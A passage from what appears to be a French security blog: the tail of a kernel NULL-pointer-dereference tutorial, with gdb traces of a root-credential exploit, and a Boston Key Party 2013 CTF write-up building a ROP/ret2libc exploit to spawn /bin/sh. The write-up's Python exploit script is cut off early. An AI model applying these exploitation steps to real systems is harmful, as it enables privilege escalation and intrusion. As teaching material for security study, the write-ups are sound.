   0xffffffffa0000051:	xor    eax,eax
   0xffffffffa0000053:	mov    r12,rsi
   0xffffffffa0000056:	push   rbp
   0xffffffffa0000057:	mov    rbp,rdx
   0xffffffffa000005a:	push   rbx
   0xffffffffa000005b:	call   0xffffffff81370a1d
-----------------------------------------------------------------------------------------------------------------------------
 
Breakpoint 1, 0xffffffffa0000048 in ?? ()
 
gdb$ x/30i $rip
   0xffffffffa0000048:	push   r12
   0xffffffffa000004a:	mov    rdi,0xffffffffa0001066
   0xffffffffa0000051:	xor    eax,eax
   0xffffffffa0000053:	mov    r12,rsi
   0xffffffffa0000056:	push   rbp
   0xffffffffa0000057:	mov    rbp,rdx
   0xffffffffa000005a:	push   rbx
   0xffffffffa000005b:	call   0xffffffff81370a1d                                 // printk
   0xffffffffa0000060:	lea    rdi,[rbp+0x1]
   0xffffffffa0000064:	mov    esi,0x1
   0xffffffffa0000069:	call   0xffffffff810f8e9b                                  // __kmalloc
   0xffffffffa000006e:	test   rax,rax
   0xffffffffa0000071:	mov    rbx,rax
   0xffffffffa0000074:	je     0xffffffffa000010d
   0xffffffffa000007a:	mov    edx,ebp
   0xffffffffa000007c:	mov    rsi,r12
   0xffffffffa000007f:	mov    rdi,rax
   0xffffffffa0000082:	call   0xffffffff811cab70                                // _copy_from_user
   0xffffffffa0000087:	test   rax,rax
   0xffffffffa000008a:	jne    0xffffffffa000011a
   0xffffffffa0000090:	mov    BYTE PTR [rbx+rbp*1],0x0
   0xffffffffa0000094:	mov    rsi,0xffffffffa0001079
   0xffffffffa000009b:	mov    rdi,rbx
   0xffffffffa000009e:	call   0xffffffff811c7b99                               // strcmp
   0xffffffffa00000a3:	test   eax,eax
   0xffffffffa00000a5:	jne    0xffffffffa00000e5
   0xffffffffa00000a7:	cmp    QWORD PTR [rip+0x22f9],0x0        # 0xffffffffa00023a8
   0xffffffffa00000af:	jne    0xffffffffa000010d
   0xffffffffa00000b1:	mov    rdi,QWORD PTR [rip+0xffffffffe1826800]        # 0xffffffff818268b8
   0xffffffffa00000b8:	mov    edx,0x8
gdb$ c

On reconnaît bien les opérations de notre module kernel et l'on voit notre code vulnérable :

0xffffffffa0000104:	mov    rax,QWORD PTR [rip+0x229d]        # 0xffffffffa00023a8
   0xffffffffa000010b:	call   QWORD PTR [rax]

Il va récuperer le pointeur de notre structure et il fait un call vers celui-ci. le pointeur n'étant pas initialisé, le kernel va générer une erreur. (kernel panic)

gdb$  b * 0xffffffffa000010b
Breakpoint 3 at 0xffffffffa000010b
gdb$ c
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0xFFFF8800000983E0  RBP: 0x0000000000000004  RSP: 0xFFFF880006871ED8  o d I t S z A p c 
  RDI: 0xFFFFFFFF817B9264  RSI: 0x0000000000000046  RDX: 0x0000000000000801  RCX: 0x0000000003380338  RIP: 0xFFFFFFFFA000010B
  R8 : 0x0000000000000002  R9 : 0x0000000000000000  R10: 0x0000000000000000  R11: 0xFFFF880007FFA000  R12: 0x00000000015C1340
  R13: 0xFFFF880006871F50  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0010  DS: 0000  ES: 0000  FS: 0063  GS: 0000  SS: 0018				
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0xffffffffa000010b:	call   QWORD PTR [rax]
   0xffffffffa000010d:	mov    rdi,rbx
   0xffffffffa0000110:	call   0xffffffff810f7c3e
   0xffffffffa0000115:	mov    rax,rbp
   0xffffffffa0000118:	jmp    0xffffffffa0000121
   0xffffffffa000011a:	mov    rax,0xfffffffffffffff2
   0xffffffffa0000121:	pop    rbx
   0xffffffffa0000122:	pop    rbp
-----------------------------------------------------------------------------------------------------------------------------
 
Breakpoint 3, 0xffffffffa000010b in ?? ()
gdb$ x/x $rax
0x0:	Cannot access memory at address 0x0

On conserve nos breakpoints mais au lieu d'aller écrire sur notre périphérique on va lancer notre exploit :

/ $ ./exploit 
[+] Try to allocat 0x00000000...
[+] Allocation success !
[+] Find prepare_kernel_cred...
[+] Found prepare_kernel_cred at ffffffff81053e81
[+] Find commit_creds...
[+] Found commit_creds at ffffffff81053c6e
[+] Set pointer for get root cred
[+] Trig vuln...

Le programme s'arrête juste après le "Trig vuln" et gdb s'arrête sur le breakpoint 1 lors de l'appel à vuln_write. On continue pour regarder ce qu'il se passe lors du call qword rax :

gdb$ c
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0xFFFFFFFFA0000048  RBX: 0x0000000000000004  RBP: 0xFFFF880007AAC080  RSP: 0xFFFF88000685FEF0  o d I t S z a P c 
  RDI: 0xFFFF880007AAC080  RSI: 0x0000000000482D8B  RDX: 0x0000000000000004  RCX: 0xFFFF88000685FF50  RIP: 0xFFFFFFFFA0000048
  R8 : 0x00007FC9F27AE010  R9 : 0x0000000001AE8860  R10: 0x65726320746F6F72  R11: 0x0000000000000246  R12: 0x0000000000482D8B
  R13: 0xFFFF88000685FF50  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0010  DS: 0000  ES: 0000  FS: 0063  GS: 0000  SS: 0018				
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0xffffffffa0000048:	push   r12
   0xffffffffa000004a:	mov    rdi,0xffffffffa0001066
   0xffffffffa0000051:	xor    eax,eax
   0xffffffffa0000053:	mov    r12,rsi
   0xffffffffa0000056:	push   rbp
   0xffffffffa0000057:	mov    rbp,rdx
   0xffffffffa000005a:	push   rbx
   0xffffffffa000005b:	call   0xffffffff81370a1d
-----------------------------------------------------------------------------------------------------------------------------
 
Breakpoint 1, 0xffffffffa0000048 in ?? ()
gdb$ c
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0xFFFF8800000983E0  RBP: 0x0000000000000004  RSP: 0xFFFF88000685FED8  o d I t S z A p c 
  RDI: 0xFFFFFFFF817B9264  RSI: 0x0000000000000046  RDX: 0x0000000000000801  RCX: 0x0000000003380338  RIP: 0xFFFFFFFFA000010B
  R8 : 0x0000000000000002  R9 : 0x0000000000000000  R10: 0x0000000000000000  R11: 0xFFFF880007FFA000  R12: 0x0000000000482D8B
  R13: 0xFFFF88000685FF50  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0010  DS: 0000  ES: 0000  FS: 0063  GS: 0000  SS: 0018				
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0xffffffffa000010b:	call   QWORD PTR [rax]
   0xffffffffa000010d:	mov    rdi,rbx
   0xffffffffa0000110:	call   0xffffffff810f7c3e
   0xffffffffa0000115:	mov    rax,rbp
   0xffffffffa0000118:	jmp    0xffffffffa0000121
   0xffffffffa000011a:	mov    rax,0xfffffffffffffff2
   0xffffffffa0000121:	pop    rbx
   0xffffffffa0000122:	pop    rbp
-----------------------------------------------------------------------------------------------------------------------------
 
Breakpoint 2, 0xffffffffa000010b in ?? ()
gdb$ x/gx $rax
0x0:	0x000000000040051d
gdb$ x/20i 0x000000000040051d
   0x40051d:	push   rbp
   0x40051e:	mov    rbp,rsp
   0x400521:	push   rbx
   0x400522:	sub    rsp,0x8
   0x400526:	mov    rax,QWORD PTR [rip+0x2af603]        # 0x6afb30
   0x40052d:	test   rax,rax
   0x400530:	je     0x400558
   0x400532:	mov    rax,QWORD PTR [rip+0x2af5ff]        # 0x6afb38
   0x400539:	test   rax,rax
   0x40053c:	je     0x400558
   0x40053e:	mov    rbx,QWORD PTR [rip+0x2af5eb]        # 0x6afb30
   0x400545:	mov    rax,QWORD PTR [rip+0x2af5ec]        # 0x6afb38
   0x40054c:	mov    edi,0x0
   0x400551:	call   rax
   0x400553:	mov    rdi,rax
   0x400556:	call   rbx
   0x400558:	add    rsp,0x8
   0x40055c:	pop    rbx
   0x40055d:	pop    rbp
   0x40055e:	ret

On voit alors cette fois qu'à l'adresse 0x0000000000000000 se trouve un pointeur vers l'espace mémoire utilisateur 0x40051d. Et si l'on regarde le code à cet emplacement on reconnaît le code de notre fonction get_root. Si l'on parcourt le programme pas à pas, on peut voir que le call rax correspond à l'appel de la fonction prepare_kernel_cred et le call rbx à l'appel de la fonction commit_creds.

gdb$ 
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0xFFFFFFFF81053E81  RBX: 0xFFFFFFFF81053C6E  RBP: 0xFFFF88000685FEC8  RSP: 0xFFFF88000685FEB8  o d I t S z a P c 
  RDI: 0x0000000000000000  RSI: 0x0000000000000046  RDX: 0x0000000000000801  RCX: 0x0000000003380338  RIP: 0x0000000000400551
  R8 : 0x0000000000000002  R9 : 0x0000000000000000  R10: 0x0000000000000000  R11: 0xFFFF880007FFA000  R12: 0x0000000000482D8B
  R13: 0xFFFF88000685FF50  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0010  DS: 0000  ES: 0000  FS: 0063  GS: 0000  SS: 0018				
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x400551:	call   rax
   0x400553:	mov    rdi,rax
   0x400556:	call   rbx
   0x400558:	add    rsp,0x8
   0x40055c:	pop    rbx
   0x40055d:	pop    rbp
   0x40055e:	ret    
   0x40055f:	push   rbp
-----------------------------------------------------------------------------------------------------------------------------
0x0000000000400551 in ?? ()
gdb$ x/3i 0xFFFFFFFF81053E81 (fonction prepare_kernel_cred dont on a récuperé l'adresse via le /proc/kallsyms dans notre exploit)
   0xffffffff81053e81:	push   rbp
   0xffffffff81053e82:	mov    rbp,rdi
   0xffffffff81053e85:	mov    esi,0xd0
gdb$ x/3i 0xFFFFFFFF81053C6E (fonction commit_creds dont on a récuperé l'adresse via le /proc/kallsyms dans notre exploit)
   0xffffffff81053c6e:	push   r12
   0xffffffff81053c70:	mov    r12,QWORD PTR gs:0xb980
   0xffffffff81053c79:	push   rbp

Voilà pour une première approche de l'exploitation kernel. Il s'agit ici bien entendu du cas le plus simple d'exploitation, qui n'est plus possible depuis l'ajout de la variable mmap_min_addr dans les kernels > 2.6.23 qui empêche un utilisateur de mmaper la NULL page. Les NULL Pointer Dereference sont donc depuis restreintes sur Linux à des Dénis de Service, mais le même type de raisonnement s'applique toujours quand on peut réécrire (totalement ou partiellement) un pointeur du kernel!

En espérant que cela vous a plu. J'ai essayé de détailler au maximum mes actions pour que cet article soit accessible au plus grand nombre. Si certains points sont inexacts ou nécessitent des précisions, n'hésitez pas à laisser un commentaire et je corrigerai au plus vite.

Je tiens à remercier acez, awe, djo, frizn et simo qui m'ont beaucoup apporté par leur aide dans ce domaine.

Si vous souhaitez approfondir vos connaissances je vous invite à consulter ces différents articles :

Et si vous souhaitez vous entraîner à l'exploitation kernel, rien de plus simple, il suffit de s'inscrire sur w3challs Catégorie : Wargame/Kernel Panic

Tuesday, June 18 2013 21:14

Boston Key Party CTF 2013 - fss gainville - ROP pour les nuls

Je voulais faire un writeup sur le challenge fss gainville du CTF Boston Key Party 2013. Le but de ce billet n'est pas simplement de vous montrer comment j'ai résolu le challenge mais surtout de détailler au maximum les actions effectuées.

Je trouve régulièrement que les writeup sont peu détaillés et les noobs comme moi s'y perdent facilement, je vais donc essayer de détailler au maximum mes actions.

Nous avons à notre disposition le binaire ainsi que ce même binaire en écoute sur un port.

On se connecte sur le port pour voir comment réagit le programme, nous avons à faire à un choix multiple :

Welcome to Florida Gainesville Radio Flight Service Station

Would you like to:
1) File a flight plan
2) Open or Close a flight plan
3) List flight plans on file
4) Get airport weather information
5) Submit a PIREP
6) Quit

On va donc commencer par étudier le programme, la première étape est de voir à quel type de programme nous avons affaire :

root@kali:~/Challenges/BKP2013# file fss
fss: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0xa3aba905ed1fdb52e05401dcef8c5fff670223a6, not stripped

Il s'agit donc d'un binaire linux 64 bits.

Le premier réflexe est de l'ouvrir dans IDA pour une analyse statique. On retrouve rapidement la fonction main où on voit l'appel d'une fonction spécifique pour chaque choix du programme :

ida_main

Il faut maintenant trouver la faille, deux possibilités : soit faire du fuzzing, l'idée est d'injecter des données aléatoires dans les entrées du programme, soit analyser de manière pragmatique le programme pour trouver la faille. Le code du programme étant assez court, j'ai parcouru l'ensemble des appels de fonctions jusqu'à trouver la faille.

On peux voir un débordement de tampon (buffer overflow) dans la fonction pirep via le read.

Maintenant que nous avons la faille, il ne reste plus qu'à exploiter. On passe l'outil checksec.sh (Téléchargeable ici) qui nous permet de voir les protections appliquées au binaire :

root@kali:~/Challenges/_Outils# ./checksec.sh --file /root/Challenges/BKP2013/fss
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   /root/Challenges/BKP2013/fss

Nous avons donc juste le NX enabled, c'est à dire que la stack n'est pas exécutable, il n'est donc pas question de mettre son shellcode dans notre buffer et de faire pointer EIP dessus.

La stratégie ici est justement de faire du ROP (Returned Oriented Programming) c'est à dire se servir du code du programme pour obtenir un shell (ou ce que l'on souhaite). On va utiliser une technique nommée Ret2libc, il s'agit de renvoyer notre programme vers une fonction de la libc telle que system ou execve pour lancer le programme de son choix. Pour cela il faudra simplement définir les bonnes valeurs dans les registres.

Notre stratégie :

  • récupérer l'adresse de la libc correspondant à la fonction execve
  • définir les registres pour l'appel à la fonction execve
  • faire appel à la fonction execve

1ere étape - Environnement de debug

La première chose à faire est de mettre en place un environnement de debug similaire à ce que l'on va trouver pour le challenge. Il nous faut donc mettre en écoute le programme sur un port et voir comment on peux faire pour y attacher gdb. Il existe sûrement plusieurs solutions pour effectuer cela, personnellement je passe par xinetd.

Pour cela ajouter un fichier de conf de ce type dans /etc/xinetd.d/

Service fss
{
        socket_type     = stream
        protocol        = tcp
        wait            = no
        user            = root
        server          = /root/Challenges/BKP2013/fss
}

Et ajouter le port qui va être en écoute pour ce service dans /etc/services

fss             5555/tcp

Pour debug le tout dans GDB, il suffira de s'attacher au processus.

Exemple d'un programme en python permettant de se connecter sur le port et en parallèle de debug :

import sys
import socket
fs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fs.connect(("192.168.1.12",5555 ))
raw_input("Si besoin de debug...")

Le raw_input nous permet de stopper le programme le temps d'aller chercher le pid du processus correspondant à notre connexion et de s'y attacher dans gdb.

root@kali:~/Challenges/_Outils# ps aux | grep fss
root     29649  0.0  0.0   3944   316 ?        Ss   22:55   0:00 fss
root     29655  0.0  0.0   7780   864 pts/6    S+   22:55   0:00 grep fss
root@kali:~/Challenges/_Outils# gdb
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
64-bit mode is default. Use the 32bits command if your target is 32 bits.
Edit the $64BITS variable in your .gdbinit file to switch to default 32-bit mode.
gdb$ attach 29649

Nous n'avons plus qu'à poser les breakpoints nécessaires et faire continuer dans gdb pour poursuivre notre programme. Vous remarquerez sur les prochains screenshots gdb que l'interface est un peu plus sexy que ce que vous pouvez peut-être connaitre. Pour que votre gdb ressemble également à cela, allez faire un tour ici et

2ème étape - La faille - Buffer Overflow

La faille ici est de type buffer overflow, c'est à dire que l'emplacement prévu pour notre buffer en mémoire est plus petit que ce qui nous est permis d'écrire. Ce qui nous permet d'aller écrire à des emplacements mémoire tels que l'adresse de retour de notre fonction appelée. Je ne vais pas détailler plus, il existe de nombreuses ressources sur le net à ce sujet (ici ou ici, par la même occasion vous pouvez parcourir l'ensemble de ces deux blogs, ça en vaut vraiment la peine).

La faille dans la fonction pirep : fonction_pirep

Et la démonstration dans gdb :

gdb$ r
        Welcome to Florida Gainesville Radio Flight Service Station
 
Would you like to:
1) File a flight plan
2) Open or Close a flight plan
3) List flight plans on file
4) Get airport weather information
5) Submit a PIREP
6) Quit
> 5
Please enter coded PIREP: UA /OV A /TM A /FL B /TP C / AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Report Type: Upper-AirLocation: A
Time: A
Flight Level: B
Aircraft Type: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
PIREP is now on file
 
Program received signal SIGSEGV, Segmentation fault.
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x0000000000000000  RBP: 0x4141414141414141  RSP: 0x00007FFFFFFFE5E8  o d I t s Z a P c
  RDI: 0x00007FFFF7DD77A0  RSI: 0x0000000000000000  RDX: 0x0000000000000000  RCX: 0x00007FFFF7B21AF0  RIP: 0x000000000040171C
  R8 : 0x00007FFFF7FD9700  R9 : 0x00007FFFF7FD9700  R10: 0x4141414141414141  R11: 0x0000000000000246  R12: 0x0000000000400820
  R13: 0x00007FFFFFFFE6F0  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x40171c <pirep+487>:        ret
   0x40171d <main>:     push   rbp
   0x40171e <main+1>:   mov    rbp,rsp
   0x401721 <main+4>:   sub    rsp,0x20
   0x401725 <main+8>:   mov    DWORD PTR [rbp-0x14],edi
   0x401728 <main+11>:  mov    QWORD PTR [rbp-0x20],rsi
   0x40172c <main+15>:  mov    edx,0x401c15
   0x401731 <main+20>:  mov    esi,0x401c2c
-----------------------------------------------------------------------------------------------------------------------------
0x000000000040171c in pirep ()
gdb$ x/gx $rsp
0x7fffffffe358:	0x4141414141414141

Nous pouvons donc spécifier l'adresse que l'on souhaite en adresse de retour de la fonction pirep.

3ème étape - Récupérer l'adresse de la fonction de notre libc

Comme je l'expliquais précédemment, le but va être d'appeler une fonction de la libc, pour cela il va falloir récupérer son adresse. Le programme étant soumis à l'ASLR (Address space layout randomization), la fonction ne sera jamais située au même endroit. Nous allons donc la récupérer dans la GOT (Global Offset Table), il s'agit d'une table qui lors du lancement du programme est remplie de manière dynamique avec les adresses des fonctions utilisées dans le programme (si vous souhaitez en savoir plus je vous renvoi vers cet excellent billet). Nous avons de la chance la GOT n'est pas soumies à l'ASLR, ces adresses ne changeront donc pas.

Nous pouvons retrouver les adresses de la GOT avec objdump :

root@kali:~/Challenges/BKP2013# objdump -R fss
 
fss:     file format elf64-x86-64
 
DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE
00000000006021e8 R_X86_64_GLOB_DAT  __gmon_start__
00000000006022a0 R_X86_64_COPY     stdout
00000000006022a8 R_X86_64_COPY     stdin
0000000000602208 R_X86_64_JUMP_SLOT  strncmp
0000000000602210 R_X86_64_JUMP_SLOT  puts
0000000000602218 R_X86_64_JUMP_SLOT  write
0000000000602220 R_X86_64_JUMP_SLOT  strlen
0000000000602228 R_X86_64_JUMP_SLOT  printf
0000000000602230 R_X86_64_JUMP_SLOT  memset
0000000000602238 R_X86_64_JUMP_SLOT  read
0000000000602240 R_X86_64_JUMP_SLOT  __libc_start_main
0000000000602248 R_X86_64_JUMP_SLOT  fgets
0000000000602250 R_X86_64_JUMP_SLOT  strcmp
0000000000602258 R_X86_64_JUMP_SLOT  random
0000000000602260 R_X86_64_JUMP_SLOT  fflush
0000000000602268 R_X86_64_JUMP_SLOT  __isoc99_sscanf
0000000000602270 R_X86_64_JUMP_SLOT  atoi
0000000000602278 R_X86_64_JUMP_SLOT  exit

Et vérifier tout cela dans gdb :

gdb$ x/g 0x602210
0x602210 <puts@got.plt>:        0x00007ffff7abd060
gdb$ x/i puts
0x7ffff7abd060 <puts>:       mov    QWORD PTR [rsp-0x18],rbx

On voit donc qu' à l'adresse 0x602210 (notre GOT) nous avons un pointeur vers la fonction puts vers l'adresse 0x00007ffff7abd060. On peux le vérifier simplement en affichant la 1er ligne de commande de puts où nous retrouvons bien l'adresse vers laquelle la GOT pointe.

Par contre comme vous pouvez le voir, les autres fonctions de la libc, tel qu'execve dont nous avons besoin, n'apparaissent pas dans la GOT car elles ne sont pas utilisées par notre programme tout simplement. Pour retrouver l'adresse de la fonction qui nous intéresse nous allons donc devoir ruser. J'ai dis tout à l'heure qu'avec l'ASLR les adresses des fonctions étaient aléatoire mais par contre le décalage entre deux fonctions ne le sera pas. C'est à dire que nous pouvons calculer le décallage entre une fonction connue et la fonction choisie sur notre environnement de debug et appliquer ce décalage pour trouver l'adresse d'execve dans l'environnement du challenge du CTF.

gdb$ x/i puts
   0x7ffff7abd060 <puts>:       mov    QWORD PTR [rsp-0x18],rbx
gdb$ x/i execve
   0x7ffff7afef80 <execve>:     mov    eax,0x3b

Ci dessous, nous voyons que la fonction puts se situe dans notre contexte à l'adresse 0x7ffff7abd060 et notre fonction execve à l'adresse 0x7ffff7afef80. Nous avons donc un offset de 0x41f20 entre ces deux adresses. Si nous arrivons donc à récupérer l'adresse de puts nous pourrons alors connaitre l'adresse d'execve.

4ème étape - Le ROP

Comme je l'expliquais précédemment, ne pouvant pas exécuter notre shellcode à cause du NX, nous allons donc réutiliser des morceaux de code déjà présent dans le programme, chainés de manière spécifique pour exécuter des actions de notre choix. On appelle cela des gadgets, il existe plusieurs outils sur le net pour chercher ces gadgets. Vous en trouverez un très bien ici qui gère autant le x64 que des programmes x32 et pour vos programmes exclusivement x32 vous avez également celui ci.

Notre but va donc être, comme nous l'avons vu précédemment, de récupérer une adresse de la libc pour connaitre celle d'execve. Pour récupérer une adresse de la libc nous allons utiliser la fonction puts qui va écrire sur stdout la valeur pointée par l'adresse passée en argument de la fonction (man du puts).

A savoir : Sur une architecture x64 les arguments d'une fonction ne sont plus passés au travers de la stack mais au travers des registres. Dans l'ordre : RDI, RSI, RDX, RCX, R8, R9 puis ensuite sur la stack.

Notre but va donc être de passer l'adresse de la GOT d'une fonction de la libc dans RDI et d'executer la fonction puts.

Pour cela on va parcourir les gadgets à notre disposition au travers de l'outil rp++ et chercher ce qui pourrait nous intéresser. Le but étant de trouver un gadget nous permettant d'aller définir une valeur dans le registre RDI en sachant que nous contrôlons notre stack donc le registre RSP.

root@kali:~/Challenges/_Outils# ./rp-lin-x86 -f /root/Challenges/BKP2013/fss -r 3
Trying to open '/root/Challenges/BKP2013/fss'..
Loading ELF information..
FileFormat: Elf, Arch: Ia64
Using the Nasm syntax..
 
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
 
in LOAD
163 found.
 
A total of 163 gadgets found.
0x004018bf: add bl, dh ; ret  ;  (1 found)
0x0040143b: add byte [rax+0x29], cl ; retn 0x8948 ;  (1 found)
...
0x004018b0: mov edi, dword [rsp+0x30] ; add rsp, 0x38 ; ret  ;  (1 found)
...

Dans l'ensemble des gagdets trouvé j'en repère un qui me parait intéressant :

0x004018b0: mov edi, dword [rsp+0x30] ; add rsp, 0x38 ; ret  ;  (1 found)

Nous utilisons ici un gadget qui va manipuler le registre edi qui est la partie 32 bits du registre rdi, dans notre cas cela suffit car les adresses que l'on souhaite tiennent sur 32 bits (ex : 0x602210) mais si nous avions des adresses en 64 bits il faudrait trouver un gadget avec le registre rdi.

A savoir : Avec rp++ vous pouvez jouer sur la valeur de r pour avoir des gadgets avec plus ou moins d'instructions. Mais attention plus vous aurez d'instruction plus l'utilisation du gadget pourra devenir complexe.

Notre stack devra donc ressembler à cela : [addr_writable_srbp][gagdet][ JUNK][addr_base_got_libc][addr_call_puts]

Ce que j'appelle JUNK ici peut être n'importe quelle donnée, cela permet de combler l'instruction add rsp, 0x38 de notre gadget.

Pour vérifier tout cela, on va suivre le programme dans gdb. Pour cela on lance le programme qui va s’arrêter après la connexion au socket via le raw_input, ce qui va nous permettre de récuperer l'id du processus et de s'y attacher. On va placer un breakpoint en 0x40171c qui est l'adresse de l'instruction ret de pirep et vérifier ce que nous avons sur notre stack.

root@kali:~# ps aux | grep fss
root      4461  0.0  0.0   3944   312 ?        Ss   22:01   0:00 fss
root      4463  0.0  0.0   7780   860 pts/1    S+   22:01   0:00 grep fss
root@kali:~# exit
exit
gdb$ attach 4461
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0xFFFFFFFFFFFFFE00  RBX: 0x00007FAD4B2AC6C0  RBP: 0x0000000000000002  RSP: 0x00007FFF62DC42C8  o d I t s Z a P c
  RDI: 0x0000000000000000  RSI: 0x00007FAD4B4CD000  RDX: 0x0000000000001000  RCX: 0xFFFFFFFFFFFFFFFF  RIP: 0x00007FAD4AFF6A90
  R8 : 0x00000000FFFFFFFF  R9 : 0x0000000000000000  R10: 0x0000000000000022  R11: 0x0000000000000246  R12: 0x000000000000000A
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x00007FFF62DC4390
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fad4aff6a90 <read+16>:    cmp    rax,0xfffffffffffff001
   0x7fad4aff6a96 <read+22>:    jae    0x7fad4aff6ac9 <read+73>
   0x7fad4aff6a98 <read+24>:    ret
   0x7fad4aff6a99 <read+25>:    sub    rsp,0x8
   0x7fad4aff6a9d <read+29>:    call   0x7fad4b00f500
   0x7fad4aff6aa2 <read+34>:    mov    QWORD PTR [rsp],rax
   0x7fad4aff6aa6 <read+38>:    mov    eax,0x0
   0x7fad4aff6aab <read+43>:    syscall
-----------------------------------------------------------------------------------------------------------------------------
0x00007fad4aff6a90 in read () from /lib/x86_64-linux-gnu/libc.so.6
gdb$ b * 0x40171c
Breakpoint 1 at 0x40171c
gdb$ c
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x0000000000000000  RBP: 0x00000000006022C4  RSP: 0x00007FFF62DC4378  o d I t s Z a P c
  RDI: 0x00000000FFFFFFFF  RSI: 0x0000000000000000  RDX: 0x0000000000000000  RCX: 0x00007FAD4AFF6AF0  RIP: 0x000000000040171C
  R8 : 0x00007FAD4B4AF700  R9 : 0x00000000FFFFFFFF  R10: 0x0000000000000000  R11: 0x0000000000000246  R12: 0x0000000000400820
  R13: 0x00007FFF62DC4480  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x40171c <pirep+487>:        ret
   0x40171d <main>:     push   rbp
   0x40171e <main+1>:   mov    rbp,rsp
   0x401721 <main+4>:   sub    rsp,0x20
   0x401725 <main+8>:   mov    DWORD PTR [rbp-0x14],edi
   0x401728 <main+11>:  mov    QWORD PTR [rbp-0x20],rsi
   0x40172c <main+15>:  mov    edx,0x401c15
   0x401731 <main+20>:  mov    esi,0x401c2c
-----------------------------------------------------------------------------------------------------------------------------
 
Breakpoint 1, 0x000000000040171c in pirep ()
gdb$ x/50g $rsp
0x7fff62dc4378: 0x00000000004018b0      0x4242424242424242
0x7fff62dc4388: 0x4242424242424242      0x4242424242424242
0x7fff62dc4398: 0x4242424242424242      0x4242424242424242
0x7fff62dc43a8: 0x4242424242424242      0x0000000000602240
0x7fff62dc43b8: 0x000000000040174a      0x0000000049494949

on retrouve donc sur notre stack :

  • 0x4018b0 adresse de notre gadget
  • 0x424242.....424242 junk
  • 0x602240 adresse de la GOT dont on souhaite récupérer la valeur
  • 0x40174a <main+45>: call 0x400740 <puts@plt>

Voici donc le déroulement de notre programme après le ret :

0x4018b0 <__libc_csu_init+128>:      mov    edi,DWORD PTR [rsp+0x30]
0x4018b4 <__libc_csu_init+132>:      add    rsp,0x38
0x4018b8 <__libc_csu_init+136>:      ret
0x40174a <main+45>:  call   0x400740 <puts@plt>  avec RDI = 0x602240

Nous récupérons alors l'adresse de base de notre libc. Plus qu'à y ajouter l'offset calculé précédemment pour obtenir l'adresse d'execve.

Nous n'avons plus qu'à répéter l'opération pour exécuter execve en spécifiant en paramètre ce que l'on souhaite exécuter, pour notre exemple on va lancer un shell. Pour l'adresse pointant vers la chaine de caractères, plusieurs possibilités, vérifier si une chaine de ce type n'est pas déjà présente dans le programme. Dans ce cas là plus qu'à récupérer l'adresse, attention à ce que cette adresse soit dans une section non soumise à l'ASLR. Dans notre cas, nous allons rentrer la chaîne que l'on souhaite de toute pièce au travers du programme en utilisant le choix 1 qui va stocker son buffer en .bss

Pour être plus précis concernant la deuxième exploitation, nous allons appeler la fonction execve a qui on doit passer 3 arguments (man execve) mais en fait dans mon exploitation je n'en passe qu'un qui est la chaine du programme que je souhaite appelé (/bin/sh) car mes deux autres registres sont déjà à 0x0. Pour faire propre et plus fiable, il aurait fallut trouver les gadgets nécessaires pour définir les registres RSI et RDX correspondants aux deux autres arguments de la fonction execve.

5ème étape - L'exploitation finale

#!/usr/bin/env python
#-*- coding:utf-8 -*-
 
# Plusieurs possibilités pour debug :
# socat TCP4-LISTEN:4444,reuseaddr,fork 'SYSTEM:./fss'
# Configuration xinetd :
# - ajout du service dans /etc/xinetd/fss
# - ajout du port correspondant au service dans /etc/services
 
import sys
import socket
from struct import pack
import time
import re
import struct
 
def p(a):
    return pack('<Q', a)
 
fs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fs.connect(("192.168.1.13",5555 ))
raw_input("Si besoin de debug...")
 
# ------ Etape 1 : Placer dans notre code /bin/sh ------
# Choix : 1) File a flight plan
# Type of Flight (IFR or VFR): /bin/sh
# Aircraft ID: Nimp
# Departure Airport: Nimp
# Destination Airport: Nimp
